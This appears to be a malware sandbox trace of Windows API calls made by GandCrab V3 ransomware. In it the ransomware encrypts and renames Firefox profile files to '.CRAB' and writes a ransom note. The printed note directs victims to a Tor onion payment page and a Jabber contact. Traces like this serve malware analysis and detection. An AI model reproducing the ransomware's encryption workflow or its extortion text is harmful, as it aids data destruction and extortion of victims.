	[0121.553] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.554] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.555] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0121.653] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0121.669] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0121.692] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.698] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.698] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0121.700] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.704] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x0, lpOverlapped=0x0) returned 1
	[0121.704] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.708] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.757] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.757] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.757] CloseHandle (hObject=0x3e0) returned 1
	[0121.757] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.758] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.758] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.758] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.758] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.759] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.759] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.759] lstrcmpW (lpString1="mimeTypes.rdf", lpString2=".") returned 1
	[0121.759] lstrcmpW (lpString1="mimeTypes.rdf", lpString2="..") returned 1
	[0121.759] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="mimeTypes.rdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf"
	[0121.759] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.759] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93
	[0121.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93
	[0121.759] lstrlenW (lpString=".rdf") returned 4
	[0121.759] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.760] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rdf ") returned 5
	[0121.760] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93
	[0121.760] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="desktop.ini") returned 1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="autorun.inf") returned 1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="ntuser.dat") returned -1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="iconcache.db") returned 1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="bootsect.bak") returned 1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="boot.ini") returned 1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="ntuser.dat.log") returned -1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="thumbs.db") returned -1
	[0121.760] lstrcmpiW (lpString1="mimeTypes.rdf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.760] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.761] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB") returned 98
	[0121.761] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\mimetypes.rdf")) returned 0x20
	[0121.761] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf", dwFileAttributes=0x20) returned 1
	[0121.762] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\mimetypes.rdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\mimetypes.rdf.crab")) returned 1
	[0121.762] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.763] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB"
	[0121.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB.CRAB"
	[0121.763] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.763] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.764] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.764] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.764] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.764] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.764] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0121.765] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.765] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.766] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.766] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.766] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.766] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.766] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.767] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0121.767] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31652d8) returned 1
	[0121.767] CryptGetKeyParam (in: hKey=0x31652d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.767] CryptEncrypt (in: hKey=0x31652d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.768] GetLastError () returned 0x0
	[0121.768] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.768] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0121.768] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165618) returned 1
	[0121.768] CryptGetKeyParam (in: hKey=0x3165618, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.768] CryptEncrypt (in: hKey=0x3165618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.769] GetLastError () returned 0x0
	[0121.769] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0121.769] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\mimetypes.rdf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.770] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.770] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.771] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0xf23, lpOverlapped=0x0) returned 1
	[0121.794] VirtualAlloc (lpAddress=0x0, dwSize=0xf30, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.795] VirtualAlloc (lpAddress=0x0, dwSize=0xf30, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.795] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.795] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffff0dd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.796] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0xf30, lpOverlapped=0x0) returned 1
	[0121.796] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.796] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.800] CloseHandle (hObject=0x3e0) returned 1
	[0121.800] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.801] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.801] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.801] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.802] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.802] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.802] lstrcmpW (lpString1="minidumps", lpString2=".") returned 1
	[0121.802] lstrcmpW (lpString1="minidumps", lpString2="..") returned 1
	[0121.802] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps"
	[0121.802] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\"
	[0121.802] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.802] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.803] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.803] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.803] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.803] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.803] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.803] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\\\CRAB-DECRYPT.txt") returned 107
	[0121.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\minidumps\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.805] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.805] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0121.805] CloseHandle (hObject=0x3e0) returned 1
	[0121.806] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\") returned 90
	[0121.806] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*"
	[0121.806] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165498
	[0121.806] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.806] FindNextFileW (in: hFindFile=0x3165498, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.806] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.807] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.807] FindNextFileW (in: hFindFile=0x3165498, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.807] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.807] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.807] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt"
	[0121.807] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.807] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt") returned 106
	[0121.807] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt") returned 106
	[0121.807] lstrlenW (lpString=".txt") returned 4
	[0121.807] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.807] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.808] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.808] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt") returned 106
	[0121.808] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\CRAB-DECRYPT.txt") returned 106
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.808] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.808] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.808] FindNextFileW (in: hFindFile=0x3165498, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0121.809] FindClose (in: hFindFile=0x3165498 | out: hFindFile=0x3165498) returned 1
	[0121.809] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.809] lstrcmpW (lpString1="parent.lock", lpString2=".") returned 1
	[0121.809] lstrcmpW (lpString1="parent.lock", lpString2="..") returned 1
